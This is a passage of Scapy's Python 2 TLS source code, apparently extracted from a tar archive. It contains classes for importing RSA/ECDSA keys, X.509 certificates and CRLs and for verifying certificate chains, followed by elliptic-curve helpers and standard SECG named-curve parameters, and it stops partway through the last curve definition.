k.modulus does not change k.der). self.frmt = frmt self.der = der self.pem = pem def __str__(self): return self.der class _PKIObjMaker(type): def __call__(cls, obj_path, obj_max_size, pem_marker=None): # This enables transparent DER and PEM-encoded data imports. # Note that when importing a PEM file with multiple objects (like ECDSA # private keys output by openssl), it will concatenate every object in # order to create a 'der' attribute. When converting a 'multi' DER file # into a PEM file, though, the PEM attribute will not be valid, # because we do not try to identify the class of each object. error_msg = "Unable to import data" if obj_path is None: raise Exception(error_msg) if (not '\x00' in obj_path) and os.path.isfile(obj_path): _size = os.path.getsize(obj_path) if _size > obj_max_size: raise Exception(error_msg) try: f = open(obj_path) raw = f.read() f.close() except: raise Exception(error_msg) else: raw = obj_path try: if "-----BEGIN" in raw: frmt = "PEM" pem = raw der_list = split_pem(raw) der = ''.join(map(pem2der, der_list)) else: frmt = "DER" der = raw pem = "" if pem_marker is not None: pem = der2pem(raw, pem_marker) # type identification may be needed for pem_marker # in such case, the pem attribute has to be updated except: raise Exception(error_msg) p = _PKIObj(frmt, der, pem) return p ##################################################################### # PKI objects wrappers ##################################################################### ############### # Public Keys # ############### class _PubKeyFactory(_PKIObjMaker): """ Metaclass for PubKey creation. It casts the appropriate class on the fly, then fills in the appropriate attributes with updateWith() submethod. """ def __call__(cls, key_path): # First, we deal with the exceptional RSA KEA call. if type(key_path) is tuple: e, m, mLen = key_path obj = type.__call__(cls) obj.frmt = "tuple" obj.modulus = m obj.modulusLen = mLen obj.pubExp = e return obj # Now for the usual calls, key_path may be the path to either: # _an X509_SubjectPublicKeyInfo, as processed by openssl; # _an RSAPublicKey; # _an ECDSAPublicKey. obj = _PKIObjMaker.__call__(cls, key_path, MAX_KEY_SIZE) try: spki = X509_SubjectPublicKeyInfo(obj.der) pubkey = spki.subjectPublicKey if isinstance(pubkey, RSAPublicKey): obj.__class__ = PubKeyRSA obj.updateWith(pubkey) elif isinstance(pubkey, ECDSAPublicKey): obj.__class__ = PubKeyECDSA obj.updateWith(spki) else: raise Exception("Unsupported publicKey type") marker = "PUBLIC KEY" except: try: pubkey = RSAPublicKey(obj.der) obj.__class__ = PubKeyRSA obj.updateWith(pubkey) marker = "RSA PUBLIC KEY" except: # We cannot import an ECDSA public key without curve knowledge raise Exception("Unable to import public key") if obj.frmt == "DER": obj.pem = der2pem(obj.der, marker) return obj class PubKey(object): """ Parent class for both PubKeyRSA and PubKeyECDSA. Provides a common verifyCert() method. """ __metaclass__ = _PubKeyFactory def verifyCert(self, cert): """ Verifies either a Cert or an X509_Cert. """ tbsCert = cert.tbsCertificate sigAlg = tbsCert.signature h = hash_by_oid[sigAlg.algorithm.val] sigVal = str(cert.signatureValue) return self.verify(str(tbsCert), sigVal, h=h, t='pkcs', sigdecode=ecdsa.util.sigdecode_der) class PubKeyRSA(_PKIObj, PubKey, _EncryptAndVerifyRSA): """ Wrapper for RSA keys based on _EncryptAndVerifyRSA from crypto/pkcs1.py Use the 'key' attribute to access original object. """ def updateWith(self, pubkey): self.modulus = pubkey.modulus.val self.modulusLen = len(binrepr(pubkey.modulus.val)) self.pubExp = pubkey.publicExponent.val self.key = RSA.construct((self.modulus, self.pubExp, )) def encrypt(self, msg, t=None, h=None, mgf=None, L=None): # no ECDSA encryption support, hence no ECDSA specific keywords here return _EncryptAndVerifyRSA.encrypt(self, msg, t=t, h=h, mgf=mgf, L=L) def verify(self, msg, sig, h=None, t=None, mgf=None, sLen=None, sigdecode=None): return _EncryptAndVerifyRSA.verify(self, msg, sig, h=h, t=t, mgf=mgf, sLen=sLen) class PubKeyECDSA(_PKIObj, PubKey): """ Wrapper for ECDSA keys based on VerifyingKey from ecdsa library. Use the 'key' attribute to access original object. """ def updateWith(self, spki): # For now we use from_der() or from_string() methods, # which do not offer support for compressed points. #XXX Try using the from_public_point() method. try: self.key = ecdsa.VerifyingKey.from_der(str(spki)) # from_der() raises an exception on explicit curves except: s = spki.subjectPublicKey.val_readable[1:] p = spki.signatureAlgorithm.parameters c = import_curve(p.fieldID.prime.val, p.curve.a.val, p.curve.b.val, p.base.val, p.order.val) self.key = ecdsa.VerifyingKey.from_string(s, c) def encrypt(self, msg, t=None, h=None, mgf=None, L=None): # python-ecdsa does not support encryption raise Exception("No ECDSA encryption support") def verify(self, msg, sig, h=None, t=None, mgf=None, sLen=None, sigdecode=ecdsa.util.sigdecode_string): try: return self.key.verify(sig, msg, hashfunc=mapHashFunc(h), sigdecode=sigdecode) except ecdsa.keys.BadSignatureError: return False ################ # Private Keys # ################ class _PrivKeyFactory(_PKIObjMaker): """ Metaclass for PrivKey creation. It casts the appropriate class on the fly, then fills in the appropriate attributes with updateWith() submethod. """ def __call__(cls, key_path): """ key_path may be the path to either: _an RSAPrivateKey_OpenSSL (as generated by openssl); _an ECDSAPrivateKey_OpenSSL (as generated by openssl); _an RSAPrivateKey; _an ECDSAPrivateKey. """ obj = _PKIObjMaker.__call__(cls, key_path, MAX_KEY_SIZE) multiPEM = False try: privkey = RSAPrivateKey_OpenSSL(obj.der) privkey = privkey.privateKey obj.__class__ = PrivKeyRSA marker = "PRIVATE KEY" except: try: privkey = ECDSAPrivateKey_OpenSSL(obj.der) privkey = privkey.privateKey obj.__class__ = PrivKeyECDSA marker = "EC PRIVATE KEY" multiPEM = True except: try: privkey = RSAPrivateKey(obj.der) obj.__class__ = PrivKeyRSA marker = "RSA PRIVATE KEY" except: try: privkey = ECDSAPrivateKey(obj.der) obj.__class__ = PrivKeyECDSA marker = "EC PRIVATE KEY" except: raise Exception("Unable to import private key") obj.updateWith(privkey) if obj.frmt == "DER": if multiPEM: # this does not restore the EC PARAMETERS header obj.pem = der2pem(str(privkey), marker) else: obj.pem = der2pem(obj.der, marker) return obj class PrivKey(object): """ Parent class for both PrivKeyRSA and PrivKeyECDSA. Provides common signTBSCert() and resignCert() methods. """ __metaclass__ = _PrivKeyFactory def signTBSCert(self, tbsCert, h=None): """ Note that this will always copy the signature field from the tbsCertificate into the signatureAlgorithm field of the result, regardless of the coherence between its contents (which might indicate ecdsa-with-SHA512) and the result (e.g. RSA signing MD2). There is a small inheritance trick for the computation of sigVal below: in order to use a sign() method which would apply to both PrivKeyRSA and PrivKeyECDSA, the sign() methods of the subclasses accept any argument, be it from the RSA or ECDSA world, and then they keep the ones they're interested in. Here, t will be passed eventually to pkcs1._DecryptAndSignRSA.sign(), while sigencode will be passed to ecdsa.keys.SigningKey.sign(). """ sigAlg = tbsCert.signature h = h or hash_by_oid[sigAlg.algorithm.val] sigVal = self.sign(str(tbsCert), h=h, t='pkcs', sigencode=ecdsa.util.sigencode_der) c = X509_Cert() c.tbsCertificate = tbsCert c.signatureAlgorithm = sigAlg c.signatureValue = ASN1_BIT_STRING(sigVal, readable=True) return c def resignCert(self, cert): # works with both Cert and X509_Cert types return self.signTBSCert(cert.tbsCertificate) class PrivKeyRSA(_PKIObj, PrivKey, _EncryptAndVerifyRSA, _DecryptAndSignRSA): """ Wrapper for RSA keys based on _DecryptAndSignRSA from crypto/pkcs1.py Use the 'key' attribute to access original object. """ def updateWith(self, privkey): self.modulus = privkey.modulus.val self.modulusLen = len(binrepr(privkey.modulus.val)) self.pubExp = privkey.publicExponent.val self.privExp = privkey.privateExponent.val self.prime1 = privkey.prime1.val self.prime2 = privkey.prime2.val self.exponent1 = privkey.exponent1.val self.exponent2 = privkey.exponent2.val self.coefficient = privkey.coefficient.val self.key = RSA.construct((self.modulus, self.pubExp, self.privExp)) def verify(self, msg, sig, h=None, t=None, mgf=None, sLen=None, sigdecode=None): # Let's copy this from PubKeyRSA instead of adding another baseclass :) return _EncryptAndVerifyRSA.verify(self, msg, sig, h=h, t=t, mgf=mgf, sLen=sLen) def sign(self, data, h=None, t=None, mgf=None, sLen=None, k=None, entropy=None, sigencode=None): return _DecryptAndSignRSA.sign(self, data, h=h, t=t, mgf=mgf, sLen=sLen) class PrivKeyECDSA(_PKIObj, PrivKey): """ Wrapper for ECDSA keys based on SigningKey from ecdsa library. Use the 'key' attribute to access original object. """ def updateWith(self, privkey): self.privKey = pkcs_os2ip(privkey.privateKey.val) self.key = ecdsa.SigningKey.from_der(str(privkey)) self.vkey = self.key.get_verifying_key() def verify(self, msg, sig, h=None, t=None, mgf=None, sLen=None, sigdecode=None): return self.vkey.verify(sig, msg, hashfunc=mapHashFunc(h), sigdecode=sigdecode) def sign(self, data, h=None, t=None, mgf=None, sLen=None, k=None, entropy=None, sigencode=ecdsa.util.sigencode_string): return self.key.sign(data, hashfunc=mapHashFunc(h), k=k, entropy=entropy, sigencode=sigencode) ################ # Certificates # ################ class _CertMaker(_PKIObjMaker): """ Metaclass for Cert creation. It is not necessary as it was for the keys, but we reuse the model instead of creating redundant constructors. """ def __call__(cls, cert_path): obj = _PKIObjMaker.__call__(cls, cert_path, MAX_CERT_SIZE, "CERTIFICATE") obj.__class__ = Cert try: cert = X509_Cert(obj.der) except: raise Exception("Unable to import certificate") obj.updateWith(cert) return obj class Cert(_PKIObj): """ Wrapper for the X509_Cert from layers/x509.py. Use the 'x509Cert' attribute to access original object. """ __metaclass__ = _CertMaker def updateWith(self, cert): error_msg = "Unable to import certificate" self.x509Cert = cert tbsCert = cert.tbsCertificate self.tbsCertificate = tbsCert if tbsCert.version: self.version = tbsCert.version.val + 1 else: self.version = 1 self.serial = tbsCert.serialNumber.val self.sigAlg = tbsCert.signature.algorithm.oidname self.issuer = tbsCert.get_issuer() self.issuer_str = tbsCert.get_issuer_str() self.issuer_hash = hash(self.issuer_str) self.subject = tbsCert.get_subject() self.subject_str = tbsCert.get_subject_str() self.subject_hash = hash(self.subject_str) self.notBefore_str = tbsCert.validity.not_before.pretty_time notBefore = tbsCert.validity.not_before.val if notBefore[-1] == "Z": notBefore = notBefore[:-1] try: self.notBefore = time.strptime(notBefore, "%y%m%d%H%M%S") except: raise Exception(error_msg) self.notBefore_str_simple = time.strftime("%x", self.notBefore) self.notAfter_str = tbsCert.validity.not_after.pretty_time notAfter = tbsCert.validity.not_after.val if notAfter[-1] == "Z": notAfter = notAfter[:-1] try: self.notAfter = time.strptime(notAfter, "%y%m%d%H%M%S") except: raise Exception(error_msg) self.notAfter_str_simple = time.strftime("%x", self.notAfter) self.pubKey = PubKey(str(tbsCert.subjectPublicKeyInfo)) if tbsCert.extensions: for extn in tbsCert.extensions: if extn.extnID.oidname == "basicConstraints": self.cA = False if extn.extnValue.cA: self.cA = not (extn.extnValue.cA.val == 0) elif extn.extnID.oidname == "keyUsage": self.keyUsage = extn.extnValue.get_keyUsage() elif extn.extnID.oidname == "extKeyUsage": self.extKeyUsage = extn.extnValue.get_extendedKeyUsage() elif extn.extnID.oidname == "authorityKeyIdentifier": self.authorityKeyID = extn.extnValue.keyIdentifier.val self.signatureValue = str(cert.signatureValue) self.signatureLen = len(self.signatureValue) def isIssuerCert(self, other): """ True if 'other' issued 'self', i.e.: - self.issuer == other.subject - self is signed by other """ if self.issuer_hash != other.subject_hash: return False return other.pubKey.verifyCert(self) def isSelfSigned(self): """ Return True if the certificate is self-signed: - issuer and subject are the same - the signature of the certificate is valid. """ if self.issuer_hash == self.subject_hash: return self.isIssuerCert(self) return False def encrypt(self, msg, t=None, h=None, mgf=None, L=None): # no ECDSA *encryption* support, hence only RSA specific keywords here return self.pubKey.encrypt(msg, t=t, h=h, mgf=mgf, L=L) def verify(self, msg, sig, h=None, t=None, mgf=None, sLen=None, sigdecode=None): return self.pubKey.verify(msg, sig, h=h, t=t, mgf=mgf, sLen=sLen, sigdecode=sigdecode) def remainingDays(self, now=None): """ Based on the value of notAfter field, returns the number of days the certificate will still be valid. The date used for the comparison is the current and local date, as returned by time.localtime(), except if 'now' argument is provided another one. 'now' argument can be given as either a time tuple or a string representing the date. Accepted format for the string version are: - '%b %d %H:%M:%S %Y %Z' e.g. 'Jan 30 07:38:59 2008 GMT' - '%m/%d/%y' e.g. '01/30/08' (less precise) If the certificate is no more valid at the date considered, then a negative value is returned representing the number of days since it has expired. The number of days is returned as a float to deal with the unlikely case of certificates that are still just valid. """ if now is None: now = time.localtime() elif type(now) is str: try: if '/' in now: now = time.strptime(now, '%m/%d/%y') else: now = time.strptime(now, '%b %d %H:%M:%S %Y %Z') except: print "Bad time string provided, will use localtime() instead." now = time.localtime() now = time.mktime(now) nft = time.mktime(self.notAfter) diff = (nft - now)/(24.*3600) return diff def isRevoked(self, crl_list): """ Given a list of trusted CRL (their signature has already been verified with trusted anchors), this function returns True if the certificate is marked as revoked by one of those CRL. Note that if the Certificate was on hold in a previous CRL and is now valid again in a new CRL and bot are in the list, it will be considered revoked: this is because _all_ CRLs are checked (not only the freshest) and revocation status is not handled. Also note that the check on the issuer is performed on the Authority Key Identifier if available in _both_ the CRL and the Cert. Otherwise, the issuers are simply compared. """ for c in crl_list: if (self.authorityKeyID is not None and c.authorityKeyID is not None and self.authorityKeyID == c.authorityKeyID): return self.serial in map(lambda x: x[0], c.revoked_cert_serials) elif self.issuer == c.issuer: return self.serial in map(lambda x: x[0], c.revoked_cert_serials) return False def export(self, filename, fmt="DER"): """ Export certificate in 'fmt' format (DER or PEM) to file 'filename' """ f = open(filename, "wb") if fmt == "DER": f.write(self.der) elif fmt == "PEM": f.write(self.pem) f.close() def show(self): print "Serial: %s" % self.serial print "Issuer: " + self.issuer_str print "Subject: " + self.subject_str print "Validity: %s to %s" % (self.notBefore_str, self.notAfter_str) def __repr__(self): return "[X.509 Cert. Subject:%s, Issuer:%s]" % (self.subject_str, self.issuer_str) ################################ # Certificate Revocation Lists # ################################ class _CRLMaker(_PKIObjMaker): """ Metaclass for CRL creation. It is not necessary as it was for the keys, but we reuse the model instead of creating redundant constructors. """ def __call__(cls, cert_path): obj = _PKIObjMaker.__call__(cls, cert_path, MAX_CRL_SIZE, "X509 CRL") obj.__class__ = CRL try: crl = X509_CRL(obj.der) except: raise Exception("Unable to import CRL") obj.updateWith(crl) return obj class CRL(_PKIObj): """ Wrapper for the X509_CRL from layers/x509.py. Use the 'x509CRL' attribute to access original object. """ __metaclass__ = _CRLMaker def updateWith(self, crl): error_msg = "Unable to import CRL" self.x509CRL = crl tbsCertList = crl.tbsCertList self.tbsCertList = str(tbsCertList) if tbsCertList.version: self.version = tbsCertList.version.val + 1 else: self.version = 1 self.sigAlg = tbsCertList.signature.algorithm.oidname self.issuer = tbsCertList.get_issuer() self.issuer_str = tbsCertList.get_issuer_str() self.issuer_hash = hash(self.issuer_str) self.lastUpdate_str = tbsCertList.this_update.pretty_time lastUpdate = tbsCertList.this_update.val if lastUpdate[-1] == "Z": lastUpdate = lastUpdate[:-1] try: self.lastUpdate = time.strptime(lastUpdate, "%y%m%d%H%M%S") except: raise Exception(error_msg) self.lastUpdate_str_simple = time.strftime("%x", self.lastUpdate) self.nextUpdate = None self.nextUpdate_str_simple = None if tbsCertList.next_update: self.nextUpdate_str = tbsCertList.next_update.pretty_time nextUpdate = tbsCertList.next_update.val if nextUpdate[-1] == "Z": nextUpdate = nextUpdate[:-1] try: self.nextUpdate = time.strptime(nextUpdate, "%y%m%d%H%M%S") except: raise Exception(error_msg) self.nextUpdate_str_simple = time.strftime("%x", self.nextUpdate) if tbsCertList.crlExtensions: for extension in tbsCertList.crlExtensions: if extension.extnID.oidname == "cRLNumber": self.number = extension.extnValue.cRLNumber.val revoked = [] if tbsCertList.revokedCertificates: for cert in tbsCertList.revokedCertificates: serial = cert.serialNumber.val date = cert.revocationDate.val if date[-1] == "Z": date = date[:-1] try: revocationDate = time.strptime(date, "%y%m%d%H%M%S") except: raise Exception(error_msg) revoked.append((serial, date)) self.revoked_cert_serials = revoked self.signatureValue = str(crl.signatureValue) self.signatureLen = len(self.signatureValue) def isIssuerCert(self, other): # This is exactly the same thing as in Cert method. if self.issuer_hash != other.subject_hash: return False return other.pubKey.verifyCert(self) def verify(self, anchors): # Return True iff the CRL is signed by one of the provided anchors. for a in anchors: if self.isIssuerCert(a): return True return False def show(self): print "Version: %d" % self.version print "sigAlg: " + self.sigAlg print "Issuer: " + self.issuer_str print "lastUpdate: %s" % self.lastUpdate_str print "nextUpdate: %s" % self.nextUpdate_str ###################### # Certificate chains # ###################### class Chain(list): """ Basically, an enhanced array of Cert. """ def __init__(self, certList, cert0=None): """ Construct a chain of certificates starting with a self-signed certificate (or any certificate submitted by the user) and following issuer/subject matching and signature validity. If there is exactly one chain to be constructed, it will be, but if there are multiple potential chains, there is no guarantee that the retained one will be the longest one. As Cert and CRL classes both share an isIssuerCert() method, the trailing element of a Chain may alternatively be a CRL. Note that we do not check AKID/{SKID/issuer/serial} matching, nor the presence of keyCertSign in keyUsage extension (if present). """ list.__init__(self, ()) if cert0: self.append(cert0) else: for root_candidate in certList: if root_candidate.isSelfSigned(): self.append(root_candidate) certList.remove(root_candidate) break if len(self) > 0: while certList: l = len(self) for c in certList: if c.isIssuerCert(self[-1]): self.append(c) certList.remove(c) break if len(self) == l: # no new certificate appended to self break def verifyChain(self, anchors, untrusted=None): """ Perform verification of certificate chains for that certificate. A list of anchors is required. The certificates in the optional untrusted list may be used as additional elements to the final chain. On par with chain instantiation, only one chain constructed with the untrusted candidates will be retained. Eventually, dates are checked. """ untrusted = untrusted or [] for a in anchors: chain = Chain(self + untrusted, a) if len(chain) == 1: # anchor only continue # check that the chain does not exclusively rely on untrusted found = False for c in self: if c in chain[1:]: found = True if found: for c in chain: if c.remainingDays() < 0: break if c is chain[-1]: # we got to the end of the chain return chain return None def verifyChainFromCAFile(self, cafile, untrusted_file=None): """ Does the same job as .verifyChain() but using the list of anchors from the cafile. As for .verifyChain(), a list of untrusted certificates can be passed (as a file, this time). """ try: f = open(cafile) ca_certs = f.read() f.close() except: raise Exception("Could not read from cafile") anchors = [Cert(c) for c in split_pem(ca_certs)] untrusted = None if untrusted_file: try: f = open(untrusted_file) untrusted_certs = f.read() f.close() except: raise Exception("Could not read from untrusted_file") untrusted = [Cert(c) for c in split_pem(untrusted_certs)] return self.verifyChain(anchors, untrusted) def verifyChainFromCAPath(self, capath, untrusted_file=None): """ Does the same job as .verifyChainFromCAFile() but using the list of anchors in capath directory. The directory should (only) contain certificates files in PEM format. As for .verifyChainFromCAFile(), a list of untrusted certificates can be passed as a file (concatenation of the certificates in PEM format). """ try: anchors = [] for cafile in os.listdir(capath): anchors.append(Cert(open(cafile).read())) except: raise Exception("capath provided is not a valid cert path") untrusted = None if untrusted_file: try: f = open(untrusted_file) untrusted_certs = f.read() f.close() except: raise Exception("Could not read from untrusted_file") untrusted = [Cert(c) for c in split_pem(untrusted_certs)] return self.verifyChain(anchors, untrusted) def __repr__(self): llen = len(self) - 1 if llen < 0: return "" c = self[0] s = "__ " if not c.isSelfSigned(): s += "%s [Not Self Signed]\n" % c.subject_str else: s += "%s [Self Signed]\n" % c.subject_str idx = 1 while idx <= llen: c = self[idx] s += "%s\_ %s" % (" "*idx*2, c.subject_str) if idx != llen: s += "\n" idx += 1 return s scapy-2.3.3/scapy/layers/tls/crypto/000077500000000000000000000000001300136037300173725ustar00rootroot00000000000000scapy-2.3.3/scapy/layers/tls/crypto/__init__.py000066400000000000000000000000001300136037300214710ustar00rootroot00000000000000scapy-2.3.3/scapy/layers/tls/crypto/curves.py000066400000000000000000000407461300136037300212660ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) 2016 Pascal Delaunay, Maxence Tury ## This program is published under a GPLv2 license """ Implicit elliptic curves. """ # Recommended curve parameters from www.secg.org/SEC2-Ver-1.0.pdf # and www.ecc-brainpool.org/download/Domain-parameters.pdf # Note that this module will overwrite curves from python-ecdsa. import math from ecdsa.ellipticcurve import CurveFp, Point from ecdsa.curves import Curve from ecdsa.numbertheory import square_root_mod_prime from scapy.utils import long_converter, binrepr from scapy.layers.tls.crypto.pkcs1 import pkcs_i2osp, pkcs_os2ip ############################################################## # Some helpers ############################################################## def encode_point(point, point_format=0): """ Return a string representation of the Point p, according to point_format. """ pLen = len(binrepr(point.curve().p())) x = pkcs_i2osp(point.x(), math.ceil(pLen/8)) y = pkcs_i2osp(point.y(), math.ceil(pLen/8)) if point_format == 0: frmt = '\x04' elif point_format == 1: frmt = chr(2 + y%2) y = '' else: raise Exception("No support for point_format %d" % point_format) return frmt + x + y def extract_coordinates(g, curve): """ Return the coordinates x and y as integers, regardless of the point format of string g. Second expected parameter is a CurveFp. """ p = curve.p() point_format = g[0] point = g[1:] if point_format == '\x04': point_len = len(point) if point_len % 2 != 0: raise Exception("Point length is not even.") x_bytes = point[:point_len>>1] x = pkcs_os2ip(x_bytes) % p y_bytes = point[point_len>>1:] y = pkcs_os2ip(y_bytes) % p elif point_format in ['\x02', '\x03']: x_bytes = point x = pkcs_os2ip(x_bytes) % p # perform the y coordinate computation with self.tls_ec y_square = (x*x*x + curve.a()*x + curve.b()) % p y = square_root_mod_prime(y_square, p) y_parity = ord(point_format) % 2 # \x02 means even, \x03 means odd if y % 2 != y_parity: y = -y % p else: raise Exception("Point starts with %s. This encoding " "is not recognized." % repr(point_format)) if not curve.contains_point(x, y): raise Exception("The point we extracted does not belong on the curve!") return x, y def import_curve(p, a, b, g, r, name="dummyName", oid=(1, 3, 132, 0, 0xff)): """ Create an ecdsa.curves.Curve from the usual parameters. Arguments may be either octet strings or integers, except g which we expect to be an octet string. """ if isinstance(p, str): p = pkcs_os2ip(p) if isinstance(a, str): a = pkcs_os2ip(a) if isinstance(b, str): b = pkcs_os2ip(b) if isinstance(r, str): r = pkcs_os2ip(r) curve = CurveFp(p, a, b) x, y = extract_coordinates(g, curve) generator = Point(curve, x, y, r) return Curve(name, curve, generator, oid) ############################################################## # Named curves ############################################################## # We always provide _a as a positive integer. _p = long_converter(""" ffffffff ffffffff ffffffff fffffffe ffffac73""") _a = 0 _b = 7 _Gx = long_converter(""" 3b4c382c e37aa192 a4019e76 3036f4f5 dd4d7ebb""") _Gy = long_converter(""" 938cf935 318fdced 6bc28286 531733c3 f03c4fee""") _r = long_converter("""01 00000000 00000000 0001b8fa 16dfab9a ca16b6b3""") curve = CurveFp(_p, _a, _b) generator = Point(curve, _Gx, _Gy, _r) SECP160k1 = Curve("SECP160k1", curve, generator, (1, 3, 132, 0, 9), "secp160k1") _p = long_converter(""" ffffffff ffffffff ffffffff ffffffff 7fffffff""") _a = -3 % _p _b = long_converter(""" 1c97befc 54bd7a8b 65acf89f 81d4d4ad c565fa45""") _Gx = long_converter(""" 4a96b568 8ef57328 46646989 68c38bb9 13cbfc82""") _Gy = long_converter(""" 23a62855 3168947d 59dcc912 04235137 7ac5fb32""") _r = long_converter("""01 00000000 00000000 0001f4c8 f927aed3 ca752257""") curve = CurveFp(_p, _a, _b) generator = Point(curve, _Gx, _Gy, _r) SECP160r1 = Curve("SECP160r1", curve, generator, (1, 3, 132, 0, 8), "secp160r1") _p = long_converter(""" ffffffff ffffffff ffffffff fffffffe ffffac73""") _a = -3 % _p _b = long_converter(""" b4e134d3 fb59eb8b ab572749 04664d5a f50388ba""") _Gx = long_converter(""" 52dcb034 293a117e 1f4ff11b 30f7199d 3144ce6d""") _Gy = long_converter(""" feaffef2 e331f296 e071fa0d f9982cfe a7d43f2e""") _r = long_converter("""01 00000000 00000000 0000351e e786a818 f3a1a16b""") curve = CurveFp(_p, _a, _b) generator = Point(curve, _Gx, _Gy, _r) SECP160r2 = Curve("SECP160r2", curve, generator, (1, 3, 132, 0, 30), "secp160r2") _p = long_converter(""" ffffffff ffffffff ffffffff ffffffff fffffffe ffffee37""") _a = 0 _b = 3 _Gx = long_converter(""" db4ff10e c057e9ae 26b07d02 80b7f434 1da5d1b1 eae06c7d""") _Gy = long_converter(""" 9b2f2f6d 9c5628a7 844163d0 15be8634 4082aa88 d95e2f9d""") _r = long_converter(""" ffffffff ffffffff fffffffe 26f2fc17 0f69466a 74defd8d""") curve = CurveFp(_p, _a, _b) generator = Point(curve, _Gx, _Gy, _r) SECP192k1 = Curve("SECP192k1", curve, generator, (1, 3, 132, 0, 31), "secp192k1") _p = long_converter(""" ffffffff ffffffff ffffffff fffffffe ffffffff ffffffff""") _a = -3 % _p _b = long_converter(""" 64210519 e59c80e7 0fa7e9ab 72243049 feb8deec c146b9b1""") _Gx = long_converter(""" 188da80e b03090f6 7cbf20eb 43a18800 f4ff0afd 82ff1012""") _Gy = long_converter(""" 07192b95 ffc8da78 631011ed 6b24cdd5 73f977a1 1e794811""") _r = long_converter(""" ffffffff ffffffff ffffffff 99def836 146bc9b1 b4d22831""") curve = CurveFp(_p, _a, _b) generator = Point(curve, _Gx, _Gy, _r) SECP192r1 = Curve("SECP192r1", curve, generator, (1, 2, 840, 10045, 3, 1, 1), "prime192v1") _p = long_converter(""" ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe ffffe56d""") _a = 0 _b = 5 _Gx = long_converter(""" a1455b33 4df099df 30fc28a1 69a467e9 e47075a9 0f7e650e b6b7a45c""") _Gy = long_converter(""" 7e089fed 7fba3442 82cafbd6 f7e319f7 c0b0bd59 e2ca4bdb 556d61a5""") _r = long_converter("""01 00000000 00000000 00000000 0001dce8 d2ec6184 caf0a971 769fb1f7""") curve = CurveFp(_p, _a, _b) generator = Point(curve, _Gx, _Gy, _r) SECP224k1 = Curve("SECP224k1", curve, generator, (1, 3, 132, 0, 32), "secp224k1") _p = long_converter(""" ffffffff ffffffff ffffffff ffffffff 00000000 00000000 00000001""") _a = -3 % _p _b = long_converter(""" b4050a85 0c04b3ab f5413256 5044b0b7 d7bfd8ba 270b3943 2355ffb4""") _Gx = long_converter(""" b70e0cbd 6bb4bf7f 321390b9 4a03c1d3 56c21122 343280d6 115c1d21""") _Gy = long_converter(""" bd376388 b5f723fb 4c22dfe6 cd4375a0 5a074764 44d58199 85007e34""") _r = long_converter(""" ffffffff ffffffff ffffffff ffff16a2 e0b8f03e 13dd2945 5c5c2a3d""") curve = CurveFp(_p, _a, _b) generator = Point(curve, _Gx, _Gy, _r) SECP224r1 = Curve("SECP224r1", curve, generator, (1, 3, 132, 0, 33), "secp224r1") # (already defined as SECP256k1 by python-ecdsa) _p = long_converter(""" ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe fffffc2f""") _a = 0 _b = 7 _Gx = long_converter(""" 79be667e f9dcbbac 55a06295 ce870b07 029bfcdb 2dce28d9 59f2815b 16f81798""") _Gy = long_converter(""" 483ada77 26a3c465 5da4fbfc 0e1108a8 fd17b448 a6855419 9c47d08f fb10d4b8""") _r = long_converter(""" ffffffff ffffffff ffffffff fffffffe baaedce6 af48a03b bfd25e8c d0364141""") curve = CurveFp(_p, _a, _b) generator = Point(curve, _Gx, _Gy, _r) SECP256k1 = Curve("SECP256k1", curve, generator, (1, 3, 132, 0, 10), "secp256k1") _p = long_converter(""" ffffffff 00000001 00000000 00000000 00000000 ffffffff ffffffff ffffffff""") _a = -3 % _p _b = long_converter(""" 5ac635d8 aa3a93e7 b3ebbd55 769886bc 651d06b0 cc53b0f6 3bce3c3e 27d2604b""") _Gx = long_converter(""" 6b17d1f2 e12c4247 f8bce6e5 63a440f2 77037d81 2deb33a0 f4a13945 d898c296""") _Gy = long_converter(""" 4fe342e2 fe1a7f9b 8ee7eb4a 7c0f9e16 2bce3357 6b315ece cbb64068 37bf51f5""") _r = long_converter(""" ffffffff 00000000 ffffffff ffffffff bce6faad a7179e84 f3b9cac2 fc632551""") curve = CurveFp(_p, _a, _b) generator = Point(curve, _Gx, _Gy, _r) SECP256r1 = Curve("SECP256r1", curve, generator, (1, 2, 840, 10045, 3, 1, 7), "prime256v1") _p = long_converter(""" ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe ffffffff 00000000 00000000 ffffffff""") _a = -3 % _p _b = long_converter(""" b3312fa7 e23ee7e4 988e056b e3f82d19 181d9c6e fe814112 0314088f 5013875a c656398d 8a2ed19d 2a85c8ed d3ec2aef""") _Gx = long_converter(""" aa87ca22 be8b0537 8eb1c71e f320ad74 6e1d3b62 8ba79b98 59f741e0 82542a38 5502f25d bf55296c 3a545e38 72760ab7""") _Gy = long_converter(""" 3617de4a 96262c6f 5d9e98bf 9292dc29 f8f41dbd 289a147c e9da3113 b5f0b8c0 0a60b1ce 1d7e819d 7a431d7c 90ea0e5f""") _r = long_converter(""" ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff c7634d81 f4372ddf 581a0db2 48b0a77a ecec196a ccc52973""") curve = CurveFp(_p, _a, _b) generator = Point(curve, _Gx, _Gy, _r) SECP384r1 = Curve("SECP384r1", curve, generator, (1, 3, 132, 0, 34), "secp384r1") _p = long_converter(""" 01ff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff""") _a = -3 % _p _b = long_converter(""" 0051 953eb961 8e1c9a1f 929a21a0 b68540ee a2da725b 99b315f3 b8b48991 8ef109e1 56193951 ec7e937b 1652c0bd 3bb1bf07 3573df88 3d2c34f1 ef451fd4 6b503f00""") _Gx = long_converter(""" 00c6 858e06b7 0404e9cd 9e3ecb66 2395b442 9c648139 053fb521 f828af60 6b4d3dba a14b5e77 efe75928 fe1dc127 a2ffa8de 3348b3c1 856a429b f97e7e31 c2e5bd66""") _Gy = long_converter(""" 0118 39296a78 9a3bc004 5c8a5fb4 2c7d1bd9 98f54449 579b4468 17afbd17 273e662c 97ee7299 5ef42640 c550b901 3fad0761 353c7086 a272c240 88be9476 9fd16650""") _r = long_converter(""" 01ff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffa 51868783 bf2f966b 7fcc0148 f709a5d0 3bb5c9b8 899c47ae bb6fb71e 91386409""") curve = CurveFp(_p, _a, _b) generator = Point(curve, _Gx, _Gy, _r) SECP521r1 = Curve("SECP521r1", curve, 